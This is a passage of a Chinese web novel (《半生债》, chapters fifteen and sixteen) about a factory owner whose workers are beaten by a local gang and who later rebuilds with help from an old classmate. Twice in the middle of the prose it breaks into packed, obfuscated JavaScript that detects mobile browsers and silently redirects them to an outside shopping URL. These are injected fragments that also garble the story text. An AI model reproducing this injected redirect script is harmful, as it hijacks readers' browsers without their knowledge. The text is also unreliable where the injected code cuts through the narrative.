他没有后退，反而往前跨了一大步。斧头抡起来，不是砍，是拍——用斧背，狠狠地拍在那年轻人的肩膀上。 “咔嚓”一声闷响。 年轻人惨叫一声，钢管脱手，整个人瘫在地上，抱着肩膀打滚。 太快了。从王霖动，到年轻人倒地，不过两三秒。 剩下四个人都愣住了。他们没想到王霖真敢动手，更没想到他下手这么狠。 光头看着在地上打滚的同伙，又看看王霖手里的斧头。斧刃上沾着灰，但在他眼里，那上面好像沾着血。 “王老板，”光头的声音有点抖，“你……你知道你干了什么吗？” “知道。”王霖把斧头重新拄在地上，“正当防卫。你们私闯民宅，持械威胁。我打伤了人，最多算防卫过当。但你们……”他盯着光头的眼睛，“持械入室抢劫，未遂也得判几年。” 光头脸色白了。他看看同伙，同伙们也在看他。 “行，你狠。”光头咬了咬牙，“咱们走着瞧。” 他们扶起受伤的同伙，狼狈地骑上摩托车，走了。 王霖站在原地，直到摩托车的轰鸣声彻底消失，才松开斧头。斧头“当啷”一声掉在地上。 他的手在抖，浑身都在抖。 老李从车间冲出来，扶住他：“王总，你没事吧？” “没事。”王霖深吸一口气，“报警。” --- 五、派出所 派出所就在高新区东边，开车十分钟。 王霖到的时候，光头他们已经到了。受伤的年轻人被送去了医院，剩下四个人坐在调解室里，个个垂头丧气。 接待的民警姓赵，三十多岁，板寸头，看起来很干练。他先听了光头他们的说法，又听了王霖的说法，然后调了工厂的监控。 监控很清晰——五个人持械进院，威胁要钱，王霖持斧自卫，打伤一人。 “这事……”赵警官合上记录本，“你们私闯工厂，持械威胁，肯定不对。王老板防卫，也可以理解。但用斧头，下手重了点。” “他们五个人，我一個人。”王霖说，“不用家伙，我今天就躺那儿了。” 赵警官看了他一眼，没说话。他又看看光头：“你说你们是去协商噪音问题？” “对对对！”光头连忙点头，“就是协商！我们没想怎么样！” “协商带钢管、带链条？”赵警官敲敲桌子，“这是协商的态度？” 光头不吭声了。 调解进行了两个小时。最后的结果是：王霖赔偿医药费五千元，光头他们写下保证书，保证不再骚扰。双方“握手言和”。 走出派出所时，天已经黑了。风很大，吹得人站不稳。 光头走到王霖身边，压低声音：“王老板，今天算你狠。但我们这事，没完。” 王霖看着他：“你还想怎样？” “不怎样。”光头笑了，笑容阴冷，“名剑易躲，暗箭难防。警察不是你家的护院，也不是你24小时的保镖。咱们……慢慢玩。” 他带着人走了，消失在夜色里。 王霖站在派出所门口，点了支烟。烟头的红光在风里明明灭灭。 赵警官走出来，递给他一支烟：“王老板，今天这事，我们只能这样处理。没出大事，够不上刑拘。你们又是邻居……” “我知道。”王霖接过烟，“谢谢赵警官。” “不过我得提醒你，”赵警官给他点上火，“这帮人，不好惹。你今天伤了他们的人，他们肯定记仇。最近小心点，最好……出去躲躲。” “躲？”王霖笑了，“我的厂子在那儿，我能躲哪儿去？” 赵警官叹了口气，拍拍他肩膀：“那就多注意安全。有事，第一时间报警。” 王霖点点头，转身走向自己的车。 车开在路上，路灯一盏盏往后掠。王霖看着后视镜，总觉得有车在跟着。但每次仔细看，又什么都没有。 他知道，这事没完。 就像赵警官说的——这帮人，记仇。 --- 六、月黑风高 十一月二十号，王霖去了陕西。 那边有个大客户，要谈一笔五十吨的订单。走之前，他特意交代老李：“晚上锁好门，工人们别单独出门。有事，第一时间报警。” 老李点头：“王总放心，我们心里有数。” 王霖是早上走的。中午到西安，下午见客户，晚上签了合同。客户很满意，要请他吃饭，王霖推了，说厂里还有事，得赶回去。 其实他是心里不踏实。从下午开始，右眼皮就一直在跳。 晚上八点，他给张莉打电话。张莉说一切都好，工人们都在宿舍，门锁得紧紧的。 九点，他又打了一次。还是没事。 十点，他决定连夜回去。客户劝他：“王总，这么晚了，山路不好走。明天一早回吧。” 王霖摇头：“不行，我心里慌。” 车开上高速时，已经十点半了。夜里起了雾，能见度很低。王霖开得很慢，眼睛死死盯着前方。 凌晨一点，手机突然响了。是老李打来的，声音带着哭腔：“王总，出事了！那帮人……那帮人又来了！” “什么时候？多少人？” “就刚才！翻墙进来的！七八个人，都蒙着脸！他们把老刘两口子……从床上拖下来打！血流了一地啊！” 王霖觉得浑身血液都往头上涌：“报警了吗？” “报了！警察还没到，他们就跑了！” “人怎么样？” “老刘头破了，缝了七针！他媳妇胳膊折了！现在都在医院！” 王霖猛打方向盘，在最近的一个出口下了高速。他一边掉头往回开，一边给张莉打电话。 张莉在医院，声音颤抖：“王霖，你快回来……太吓人了，太吓人了……” “我马上到。”王霖说，“你先稳住，别慌。” 车在夜雾中狂奔。仪表盘上的数字不断攀升——一百，一百二，一百四。王霖已经顾不上超速了，他只想快点，再快点。 凌晨三点，他赶到了医院。 急诊室里灯火通明。老刘躺在病床上，头上缠着厚厚的纱布，血从纱布里渗出来，染红了一大片。他媳妇躺在旁边的床上，右胳膊打着石膏，脸肿得认不出来。 张莉坐在角落里，脸色苍白。看见王霖，她站起来，腿一软，差点摔倒。 王霖扶住她，对老李说：“把情况再说一遍。” 老李红着眼眶：“十二点左右，我们都睡了。突然听见砸门的声音，还有玻璃碎的声音。我爬起来一看，七八个人冲进老刘他们屋，把人从床上拖下来就打……用的钢管，还有砖头……我冲出去想拦，被一脚踹倒了……” “看清脸了吗？” “蒙着脸，看不清。但听声音……就是那天那帮人！” 王霖走到老刘床边。老刘睁开眼，看见他，眼泪流下来：“王总……我们没得罪人啊……凭什么打我们……” “对不起。”王霖握住他的手，“是我连累你们了。” 老刘摇头，还想说什么，但疼得说不出话。 护士过来换药，看见王霖，小声说：“你是家属？先去交费吧。两个人，押金要一万。” 王霖掏出银行卡：“张莉，你去交费。老李，你在这儿守着。” 他走出急诊室，站在走廊里，点了支烟。手抖得厉害，打火机打了三次才着。 烟雾在灯光下缓缓上升，像某种祭奠的香火。 王霖看着那烟雾，忽然想起很多年前，他刚离开省经委时，一个老领导跟他说的话：“王霖啊，这社会有三条路——白道，□□，还有咱们老百姓走的泥巴道。你选了泥巴道，就得准备好，随时可能踩到屎。” 现在，他踩到了。 不止是屎，是刀。 --- 七、证据 第二天一早，王霖去了工厂。 院子里一片狼藉——宿舍的门被踹烂了，玻璃碎了一地，墙上用红漆喷着四个大字：“下次要命”。 老李带着工人清理现场，谁都没说话，气氛沉重得像要下雨。 王霖走进监控室。工厂装了四个摄像头，覆盖了主要区域。他调出昨晚的录像。 画面上，十二点零三分，七个蒙面人翻墙而入。他们动作熟练，分工明确——两个人守住大门，两个人砸宿舍门，三个人冲进去打人。整个过程不到五分钟，打完就走，干净利落。 虽然蒙着脸，但王霖认出了其中一个的身形——就是那天那个光头。他走路有点外八字，肩膀一边高一边低，特征很明显。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17196366|197133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 王霖把录像拷贝了两份，一份存U盘，一份刻成光盘。然后，他去了派出所。 赵警官今天值班，看见王霖，愣了一下：“王老板，你……” “昨晚的事，你知道了吧？”王霖把光盘放在桌上。 赵警官点头，表情严肃：“知道了。所里很重视，已经立案了。” “这是监控录像。”王霖说，“七个人，蒙面，但能认出其中一个——就是那天那个光头。” 赵警官拿起光盘：“我们会仔细看。不过王老板，这事……有点复杂。” “复杂？”王霖盯着他，“人证物证都在，有什么复杂的？” 赵警官叹了口气，压低声音：“那个光头，叫陈三。他有个表哥，在区里……有点关系。我们抓人容易，但要想定他的罪，难。” 王霖笑了，笑容很冷：“赵警官，你的意思是，我这顿打白挨了？我的工人白住院了？” “不是这个意思。”赵警官连忙摆手，“我的意思是……你得有心理准备。这类案子，往往最后都是调解。” “调解？”王霖站起来，“把人打成这样，调解？” “王老板，你冷静点。”赵警官也站起来，“我们是警察，肯定依法办事。但办案有个过程，需要时间。” 王霖看着他，看了很久。然后，他从包里掏出一个信封，放在桌上。 “这是什么？”赵警官皱眉。 “五千块钱。”王霖说，“不是给你的。是给所里弟兄们买烟买水的。这几天，辛苦你们了。” 赵警官脸色变了：“王老板，你这是什么意思？我们警察……” “我知道警察有纪律。”王霖打断他，“但这钱，你必须收。不收，就是看不起我王霖。” 他把信封往赵警官面前推了推：“我就一个要求——把陈三抓起来，关几天。让他知道，这世道，还有王法。” 赵警官看着那个信封，又看看王霖。最后，他叹了口气，把信封收进抽屉。 “明天。”他说，“明天我给你消息。” --- 八、关押 第二天下午，陈三被抓了。 不是派出所抓的，是分局治安大队直接出的警。三辆警车开到陈三住的地方，破门而入，把他从床上拎起来，铐上就走。 一起被抓的还有六个人，都是那天晚上的参与者。 消息传到工厂时，王霖正在医院看老刘。张莉接的电话，挂了之后，小声对王霖说：“抓起来了。七个人，全抓了。” 王霖点点头，没说话。 老刘的媳妇已经能说话了，拉着王霖的手：“王总，谢谢您……要不是您，我们这顿打就白挨了。” “该说对不起的是我。”王霖说，“你们是因为我，才遭这个罪。” 他从包里拿出两个信封，一个给老刘，一个给他媳妇：“这是住院费，公司出。住院期间，工资照发。另外，每人三千块营养费。” 老刘媳妇推辞：“王总，这不行……” “必须收。”王霖把信封塞进她手里，“你们好好养伤，别的事，我来处理。” 走出医院时，天已经黑了。王霖让张莉先回家，自己又去了派出所。 赵警官在办公室等他，脸色不太好看。 “王老板，人抓了。”他说，“但只能关二十四小时。证据不足，定不了罪。” “监控录像还不够？” “够抓人，不够定罪。”赵警官苦笑，“他们蒙着脸，看不清脸。虽然身形像，但不能作为直接证据。而且……陈三的表哥出面了，找了律师。” 王霖沉默了。他早知道会是这个结果，但真听到时，还是觉得心里堵得慌。 “那怎么办？” “罚款。”赵警官说，“治安处罚，每人一千。陈三是主犯，罚两千。一共八千。交钱，放人。” “八千？”王霖笑了，“我工人住院就花了一万，还不算误工费、营养费。他们打伤了人，八千就了事了？” “这是规定。”赵警官也很无奈，“王老板，我知道你不服。但这是目前能做的最大限度了。” 王霖没再说什么。他走出派出所，站在台阶上，看着夜空。 天上一颗星星都没有，云层很厚，像要下雨。 他想起了陈三那句话：“名剑易躲，暗箭难防。” 现在，他躲过了明枪，却不知道暗箭什么时候会来。 --- 九、辞职 老刘两口子出院那天，王霖亲自去接。 伤好了，但心里的伤没好。老刘媳妇一路上都在回头看，生怕有人跟着。老刘则一言不发，低着头，像做错了事的孩子。 回到工厂，工人们都出来迎接。但气氛很怪，没人说话，只是默默地看着。 晚饭后，老刘找到王霖。 “王总，”他声音很低，“我们……想辞职。” 王霖一点都不意外。他点点头：“想好了？” “想好了。”老刘眼圈红了，“王总，您是个好人，对我们也好。但这事……太吓人了。我们两口子都是老实人，就想安安稳稳过日子。这次是运气好，只是受伤。下次呢？下次要是……” 他说不下去了。 王霖拍拍他肩膀：“我理解。你们什么时候走？” “明天。”老刘说，“东西都收拾好了。” 王霖从抽屉里拿出一个信封，比上次那个厚得多：“这是三个月的工资，加上营养费，一共一万二。你们拿着。” 老刘推辞：“王总，这太多了……” “不多。”王霖硬塞给他，“你们跟我干了三年，没少吃苦。这点钱，是我的一点心意。” 老刘哭了，五十多岁的人，哭得像个孩子：“王总……对不起……我们没出息……” “别这么说。”王霖说，“平安最重要。回去好好过日子，有事给我打电话。” 送走老刘，王霖回到办公室。张莉在等他，眼睛红红的。 “又走了两个。”她说，“老赵和小孙，下午说的。也是怕。” 王霖点点头，在椅子上坐下。他觉得很累，累得连说话的力气都没有。 工厂里原本有七个工人，现在走了三个，还剩四个。四条生产线，现在只能开两条。产量减半，但成本没减——租金、水电、原料款，一分都不能少。 更糟的是，人心散了。剩下的四个人，虽然没说要走，但干活明显不如以前用心。下午王霖去车间，看见他们在窃窃私语，一见他来，立刻散了。 他知道他们在说什么——下一个，会是谁？ 窗外，隔壁作坊的机器还在轰鸣。周老板娘这几天特别安静，没再找茬，也没再扒墙头看。但王霖知道，她在等——等他自己撑不下去。 “王霖，”张莉轻声说，“要不……咱们也停一段时间？等风头过了再说？” 王霖摇头：“不能停。一停，就真完了。” “可是……” “没有可是。”王霖站起来，走到窗前，“张莉，你记不记得，咱们刚开这个厂子时，有多少人笑话咱们？” 张莉点头。 “他们说，王霖一个坐办公室的，懂什么办厂？说张莉一个银行会计，懂什么经营？说咱们撑不过三个月。”王霖看着窗外，“但咱们撑过来了，一撑就是四年。” 他转过身，看着妻子：“现在，有人想让咱们倒下。咱们要是真倒了，就永远起不来了。” 张莉走过来，握住他的手：“我懂。我就是……怕。” “我也怕。”王霖说，“但我更怕，多年以后回想起来，会后悔今天没挺住。” 窗外，夜色渐浓。远处有灯光亮起，一盏，又一盏。 这个城市从来不会因为谁的倒下而停止运转。但王霖知道，他不能倒。 至少，不能这样倒。 --- 十、余波 陈三他们交了罚款，放出来了。 放出来那天，王霖在工厂门口看见了他们。七个人，站在马路对面，往这边看。陈三嘴里叼着烟，冲王霖比了个手势——拇指朝下。 王霖没理他们，转身进了车间。 但工人们看见了。下午，又有一个工人提出辞职。王霖没挽留，多给了两个月工资。 现在，工厂只剩下三个工人——老李，还有两个跟了王霖四年的老师傅。生产线只能开一条，产量只有原来的四分之一。 张莉重新做账，把能压缩的成本都压缩了。她辞退了兼职的会计，自己做账做到半夜。王霖让她别这么累，她说：“能省一点是一点。” 日子艰难，但还在过。 十二月初，高新区下了第一场雪。雪花不大，稀稀疏疏的，落在地上就化了。 王霖站在车间门口，看着雪。老李走过来，递给他一支烟。 “王总，”老李说，“我打听了。那个陈三，最近在开发区开了个棋牌室，明着打牌，暗里放贷。周老板娘欠他钱，所以才帮他找咱们麻烦。” 王霖接过烟：“你怎么知道的？” “我有个老乡，在那边看场子。”老李压低声音，“他说，陈三放话，要让咱们厂子开不下去。” “还有吗？” “还有……”老李犹豫了一下，“他说，陈三上面还有人。不然，不敢这么嚣张。” 王霖点点头，没说话。他早就猜到了。一个地痞流氓，不可能有这么大的胆子。 雪越下越大，在地上积了薄薄一层。远处，隔壁作坊的机器停了，难得的安静。 “王总，”老李问，“咱们……还能撑多久？” 王霖看着雪，看了很久。 “撑到撑不下去为止。”他说，“但在这之前，谁也别想让咱们倒下。” 烟抽完了，他把烟头扔在地上，用脚碾灭。 雪还在下，无声无息，覆盖了地面，覆盖了血迹，覆盖了所有肮脏和不堪。 但王霖知道，雪会化。 化了之后，该在的还在，该来的，还会来。 他只是不知道，下一次，会是什么时候。 --- （第十五章·暗涌完全文字数：约13000字） 26. 《半生债》中卷 第十六章·暗夜微光 《半生债》中卷第十六章·暗夜微光 一、铁棍 二零一零年的春节。 除夕夜，他拎着保温桶走进病房时，老李正靠在床头看春晚。电视里歌舞升平，窗外偶尔炸开零星的鞭炮声——那年东海市刚出台“限放令”，年味淡得像兑了水的酒。 “王总，您怎么来了？”老李想坐起来，被王霖轻轻按住了肩膀。 “来看看你。”王霖打开保温桶，热气扑了满脸，“张莉包的饺子，白菜猪肉馅，趁热吃。” 老李接过碗，手有些抖。他头上还缠着纱布，是腊月二十三那晚留下的——陈三那帮人虽没再来厂里闹事，但老李下班路上，被一辆没牌照的摩托车撞了。人跑了，没抓着。 “王总，”老李吃了两个饺子，放下筷子，“我想……等伤好了，也回老家。” 王霖削苹果的手顿了顿。水果刀在指尖转了个细小的弧度，继续往下走。 “想好了？” “想好了。”老李望向窗外，“儿子从深圳打来电话，说在那儿找了个厂，让我过去帮忙看仓库。包吃住，一个月两千。” “两千不够花。” “够的。”老李声音很轻，“在老家，花不了几个钱。” 苹果削好了，王霖切成均匀的小块，插上牙签。病房里很静，只有电视里小品演员夸张的笑声在回荡。 “老李，”王霖把果盘递过去，“跟着我这些年，委屈你了。” “别这么说。”老李眼圈泛红，“王总，您待我怎样，我心里清楚。只是……我老了，经不起折腾了。” 王霖点点头，没再劝。他懂——不是所有人都能扛住明枪暗箭。老李五十三了，本该安稳退休的年纪，却要这般提心吊胆地过活。 谁都有选择安稳的权利。 正月初八，工厂复工。车间里只剩两个人——王霖自己，还有一个叫小赵的年轻人，是老李的外甥，刚满二十，高中毕业没考上大学，来投奔叔叔的。 “王总，我舅让我好好跟您干。”小赵怯生生地说，“他说您是个好人。” 王霖拍拍他肩膀：“好好干，亏待不了你。” 话虽如此，王霖心里透亮——两个人，撑不起一个厂。搅拌机要三人操作，灌装线至少要两个，打包、装车、送货……这些活计，两个人干，得从破晓忙到夜深。 更糟的是，客户在流失。老刘他们走时，带走了几个老客户——人家问“你们厂现在谁在管”，他们说“我们辞职了”，客户心里自然犯嘀咕。 正月底盘账，张莉把报表轻轻放在王霖面前：“这个月……亏了三万二。” 王霖盯着那些数字，看了许久。然后他站起身，走向车间。 搅拌机静默着，灌装线静默着，车间里静得能听见自己的心跳。阳光从高处的气窗斜射进来，照在机器上，那些熟悉的铁家伙此刻沉默如战败的士兵。 小赵正在擦拭机器，看见王霖，直起身：“王总。” “小赵，”王霖说，“你先回家吧。工资照发，等厂子恢复生产了，你再回来。” “王总，我……” “听话。”王霖笑了笑，“这段时间，你也受累了。” 小赵走了，一步三回头。王霖站在车间门口，看着他年轻的背影消失在路口尽头。 现在，厂里真的只剩他一个人了。 他走到那辆老桑塔纳前，打开后备箱。里头除了工具和样品，还躺着一根钢管——六十公分长，拇指粗细，是从旧机器上拆下的传动轴，一头磨出了尖，沉甸甸的。 王霖握住铁棍，掂了掂分量。冰凉的金属触感从掌心直抵心底。 他想起陈三放出来那天，站在马路对面比划的手势。 想起老李躺在病床上的模样。 想起张莉夜里惊醒，听见一点动静就攥紧他胳膊的样子。 这根铁棍，在后备箱里躺了三个月，一次没用过。但他知道，迟早会用上。 就像你明知天会下雨，所以总备着伞。 --- 二、西安 决定去西安，是在三月初。 那天王霖接到陕西一个老客户的电话——去年谈妥的那笔五十吨订单，对方说资金紧张，要减到二十吨。王霖在电话里周旋了半小时，无济于事。 挂断电话，他坐在办公室里，望着墙上那张中国地图。西安那个红圈，是他亲手画的。 然后他想起了贾博。 高中毕业二十年了。他们最后一次相见，是一九九零年夏天，贾博考上了西安电子科技大学，要去报到，王霖送他。 “到了西安我给你写信。”贾博跳上长途汽车，从车窗探出头，“等我混出样儿来，拉你一把！” 车开走了，扬起一片黄尘。王霖站在车站门口，望着汽车消失在公路尽头。 二十年，他们再未见过。 王霖翻出通讯录——那是本牛皮纸封面的小本子，边角已泛黄卷曲。贾博的电话写在最后一页，字迹都模糊了。 他犹豫良久，还是拨了过去。 电话响了七八声，就在他要挂断时，接通了。 “喂？”是个男声，带着陕西口音。 “请问……是贾博吗？” “我是。你哪位？” “我……我是王霖。” 电话那头静了几秒。 “王霖？”声音变了调，透着惊喜，“真是你啊！老天爷，多少年没联系了！” “二十年。”王霖说。 “二十年……”贾博重复了一遍，“时间真快。你怎么样？在东海还好吗？” “还行。”王霖顿了顿，“老贾，我……想去西安看看你。” “来啊！”贾博答得爽快，“什么时候？我来安排！” “就这几天。” “成，到了给我电话，我去接你。” 挂了电话，王霖长长吐了口气。他望向窗外——院子里那棵梧桐刚冒出嫩芽，在风里微微颤着。 他不知道自己为何要去西安。或许是想找人说说话，或许是想暂时逃离这令人窒息的地方，或许……只是想看看，那个曾说“等我混好了拉你一把”的少年，如今是什么模样。 --- 三、重逢 西安的三月，风里还裹着寒意。 王霖出站时，一眼便看见了贾博——不是认出来的，是感觉出来的。人群中，那个穿深灰色风衣、戴金丝眼镜的中年男人，比上学时胖了，自有一种与众不同的气场。 “霖！”贾博也看见了他，大步迎上来。 两人在出站口拥抱。王霖感到贾博的手很有力，肩膀厚实。二十载光阴，把那个瘦高的少年，锻成了一个沉稳的中年人。 “走，上车。”贾博接过他的行李包，“酒店订好了，先歇歇脚。” 车是黑色奥迪A6，牌照寻常，但车内洁净，漾着淡淡的檀香。贾博开车很稳，手指修长，松松搭在方向盘上。 “老贾，你现在……”王霖问得小心。 “在中国进出口银行，西安分行。”贾博笑了笑，“混了个处长，勉强糊口。” 处长。王霖心下算了算——正处级，在银行系统，这已是相当高的位置了。 车驶入市区。西安的城墙在暮色中巍然矗立，霓虹灯勾出古老的轮廓。王霖望着窗外，忽觉有些恍惚——二十年前，贾博就是说“西安羊肉泡馍真香”。 “想吃点儿什么？”贾博问，“羊肉泡馍？葫芦头？还是寻个清静地儿，咱俩好好说说话？” “找个清静地儿吧。”王霖说，“我……有些话，憋在心里很久了。” 贾博看了他一眼，没多言。车拐进一条巷子，停在一家茶馆门前。 茶馆雅致，仿唐式样，门口悬着红灯笼。要了个包间，点了壶金骏眉。服务员退去后，屋里只剩他们二人。 “说吧。”贾博给王霖斟茶，“遇上什么事了？” 王霖从工厂的困境说起，说到周老板娘，说到陈三，说到工人一个个离去，说到如今厂里只剩他一人。他说得平静，像在讲别人的事。 但贾博听得分外认真。不时点头，偶尔问一句细节。金骏眉的香气在屋里氤氲，茶汤在杯中渐渐转凉。 待王霖说完，天已彻底黑了。窗外，西安的夜生活刚刚启幕，车流声、人声隐约传来。 贾博沉默良久。他端起茶杯，又放下，指节在桌面轻轻叩着。 “霖子，”他终于开口，“你知道我这些年，最佩服你什么吗？” 王霖摇头。 “我最佩服你，敢从体制里跳出来。”贾博说，“我在银行干了二十年，从柜台干到处长。看着风光，但我清楚，自己就像这城墙里的一块砖——位置是钉死的，动不了。” 他抿了口茶：“但你不同。你从省经委跳出来，从新陶跳出来，如今自己办厂。每一步都是未知，每一步都可能摔跟头。可你还是走了。” “走到如今，快走不动了。”王霖苦笑。 “不会的。”贾博看着他，“你不是走不动，是暂时迷了路。我给你指条道儿。” “什么道？” 贾博没有立刻回答。他起身走到窗边，望着外头的夜色。 “我有个远房侄儿，叫张杰，河南人，西安理工大学毕业。”他说，“在西安跑了两年销售，卖四季沐歌太阳能热水器，能说会道，能吃苦。说是干不下去了，前一阵托我找工作呢。” 王霖心里一动。 “这孩子，我了解。”贾博转过身，“脑子活，肯吃苦，你们合作没准能行。” “你的意思是……” “让他跟你干。”贾博说，“你缺的不是技术，不是产品，是能把东西卖出去的人。张杰正是这种人。” 王霖没应声。心里飞快盘算——如今厂里这般光景，请个销售高手，工资负担得起么？万一人家来了，见厂里就他一人，还会留么？ “工钱你别操心。”贾博似看穿他心思，“头一个月，我给他开。算我投的。若干得好，你接着用。干不好，损失算我的。” “老贾，这……” “别这那的。”贾博摆摆手，“当年在高中，我寄住我哥宿舍，我们的情分，我一直记着。” 他坐回桌边，给王霖续上茶：“如今你有难处，我不能干看着。” 王霖鼻子一酸。他低下头，盯着杯中浮沉的茶叶。 “还有，”贾博继续道，声量压低，神色肃然起来，“霖子，有桩事得跟你挑明。我现在在单位，正处在被考察提拔副厅人选的关键当口，最近要去中央党校学习，也是组织上重点培养的后备干部。我做事有我的章法和底线，不能越界。” 他顿了顿，目光清亮：“所以我能帮你的，仅限于介绍可靠的人，或是在合规的范畴里牵个线、搭个桥。任何违规操作，我都不能碰——这不光为我自己，也为对得起组织的信任。你能明白么？” 王霖用力点头：“老贾，我懂。你能有今天，正是凭这份稳重和原则。我绝不会让你为难。” 贾博神色舒缓了些：“其实这些年来，我在这个位置上，见过太多人因一时贪念毁了前程。我常告诫自己：水能载舟，亦能覆舟。组织的信任是最重的托付，不能辜负。” “你做得对。”王霖由衷道，“我一直记得高中时你的性子，做事稳当，有分寸。如今看来，你还是那个你。” 贾博笑了，笑容里透着坦荡：“人啊，走得再远，也不能忘了来时的路，不能丢了做人的根本。” 那晚，他们聊到凌晨两点。从高中旧事，聊到各自这些年的遭际；从家长里短，聊到对往后的打算。茶续了一壶又一壶，话却总也说不尽。 走出茶馆时，西安飘起了细雨。雨丝绵密，在路灯下闪着碎银般的光。 贾博送王霖回酒店。下车时，他握住王霖的手：“霖子，记着一句话——只要人不倒，就没有过不去的坎。还有，张杰那孩子本质不坏，但年轻人易冲动，你得多带着些。” 王霖用力点头：“放心，我会的。” 回到房间，他立在窗前，望着雨幕中的西安城。远处，钟楼的轮廓在夜色里若隐若现。 他突然觉得，心里那团堵了许久的郁结，似乎松动了些许。 --- 四、张杰 张杰是三天后来的东海。 王霖去火车站接他。出站口，一个三十出头的男人背着双肩包走出来，个子不高，但精神头十足，眼睛亮得像两盏小灯。 “王总！”他老远就挥手，大步流星过来，“我是张杰！我舅让我来的！” 握手很有劲道。王霖打量他——平头，方脸，肤色黝黑，一看便是常年在外奔波的人。最特别的是他的笑容，真挚，热忱，像冬日的暖阳。 “路上辛苦了。”王霖接过他的包，“走，先去厂里瞧瞧。” 车往高新区的路上，张杰话没停过。他说西安的羊肉泡馍，说兰州的牛肉面，说西宁的老酸奶，说银川的枸杞子。他说话语速快，却条理分明，每句话都带着画面。 “王总，我舅跟我讲了您的情况。”张杰忽然转了话头，“您别愁，销售这摊事，我有法子。” “什么法子？” “两条路。”张杰伸出两根手指，“第一，稳住老客户。我看了您给的客户名单，十九个，都是合作多年的。这些是根基，不能丢。第二，开拓新市场。西北五省，我跑了七八年，每个地市都有熟脸。” 他说得自信，却不让人觉得浮夸。王霖心里那点疑虑，渐渐散了。 到了工厂，张杰下车就皱起了眉。 厂区静悄悄的，只有风声。车间门紧闭，院子里落叶满地，一瞧便是许久未打扫了。 “王总，”张杰问，“如今厂里……几个人？” “就我一个。”王霖实话实说。 张杰愣了愣，随即笑了：“一个人好啊！一人吃饱，全家不饿。” 他推开车间门走进去。机器都歇着，蒙了层薄灰。他这儿摸摸，那儿看看，最后停在搅拌机前。 “这机器，还能转么？” “能。”王霖说，“保养得勤，随时能开。” “那就开。”张杰转过身，眼里放光，“王总，从今儿起，咱俩一块儿干。您管生产，我管销售。咱们重头再来。” 王霖看着他，看着这个头回见面的年轻人。张杰眼神里有种东西——不是怜悯，不是施舍，是一种……斗志。像战士看见了战场。 “张杰，”王霖说，“如今厂里这光景，工钱恐怕……” “工钱的事，往后再说。”张杰摆摆手，“我舅说了，头一个月他开。但我不要。我要跟您干出个名堂来，到时候，您瞧着给。” 他走到车间中央，环视四周：“王总，您信我一次。给我半年时间，要一定能打开局面。” 王霖没吭声。他走到搅拌机前，按下启动钮。 机器“嗡”地一声，轰鸣起来。灰尘被震得飞扬，在日光里翻腾。 “好。”王霖说，“我信你，你也知道我和你叔叔的交情。” --- 五、起航 张杰住进了工厂。王霖把给他在工厂附近租了宿舍，张杰把自己的行李搬进去，一个行李箱，里头只有几件衣裳。 王霖在车间调试机器，能听见张杰不停的打电话：很有特点——先笑，笑声爽朗；接着自报家门，说“我是美洲液肥的张杰”；然后拉家常，问对方近来如何，生意可好；最后才切入正题，说“我们出了新品，效果更佳，价钱更优”。 不是生硬的推销，是朋友间的举荐。 头一天，约了三场见面。第二天， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17196367|197133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 五场。第三天，张杰背着样品出门了。 他先去了走访了王霖的一些老客户，老赵见他，很是诧异：“王总呢？” “王总在厂里忙生产。”张杰笑着说，“赵老板，我代王总来看看您。” 他递上样品，不是一箱，是一瓶。瓶身贴着新标签——“美洲液肥二代”，下面一行小字：专为寿光大棚蔬菜研制。 “这是我们按寿光土壤特性，专门调的配方。”张杰说，“您先试用，效果好再谈。” 老赵将信将疑：“你们厂……如今怎样了？” “好着呢！”张杰声如洪钟，“新上了生产线，产能翻番。王总说了，老客户优先供货，价钱还照旧的。” 他绝口不提工厂只剩两人的事。 从寿光回来，张杰没歇脚，直奔菏泽。小马已从小店做成了公司，在开发区租了整层楼。 “马总，久仰！”张杰一进门就拱手，“王总常提起您，说您是他在菏泽最得力的伙伴。” 小马被他逗乐了：“张经理真会说话。王总近来可好？” “好！就是太忙。”张杰从包里取出合同，“王总让我来，是想跟您谈个深度合作——我们出产品，您出渠道，咱们把菏泽市场做透。” 他掏出一张地图，上头用红笔圈出了菏泽所有乡镇：“我摸过底了，菏泽有六十八个乡镇，咱们如今只覆盖了二十三个。还有四十五处空白。” 小马盯着地图，眼睛亮了。 那日，他们谈了两个钟头。最后签的合同不是几十箱，是全年供货协议——小马承诺销三百吨，王霖保证优先供货，价钱优惠五个点。 带着合同回东海时，天已擦黑。张杰没回工厂，径直去了王霖家。 张莉开的门，见他风尘仆仆，赶忙让进屋。 “嫂子，王总呢？” “在书房。”张莉小声说，“今儿一天没出门。” 张杰敲开书房门。王霖正在看账本，眉头紧锁。 “王总！”张杰把合同拍在桌上，“签了！” 王霖拿起合同，一页页细看。看到总金额时，他抬起头：“首次30吨？” “对！”张杰眼里放光，“菏泽一个点，全年一百吨！马总说了，只要供货跟得上，还能再加！” 王霖看着合同，又看看张杰。这年轻人来了才一周，就签下了他半年都谈不拢的单子。 “张杰，”他说，“你……” “王总，这才刚开头。”张杰从包里掏出一张纸，上头列了十几个名字，“这是我本周联系的客户，七个有意向。下周我跑趟河南，那儿我熟。” 他顿了顿，声量低了低：“可王总，咱们得招人了。两个人，干不了多少业务量。” 王霖点头：“招。明天就招。” 那晚，王霖失眠了。他躺在床上，望着天花板。 张莉翻了个身，轻声问：“王霖，那个张杰……靠得住么？” “不知道。”王霖说，“但我想信他一次。” 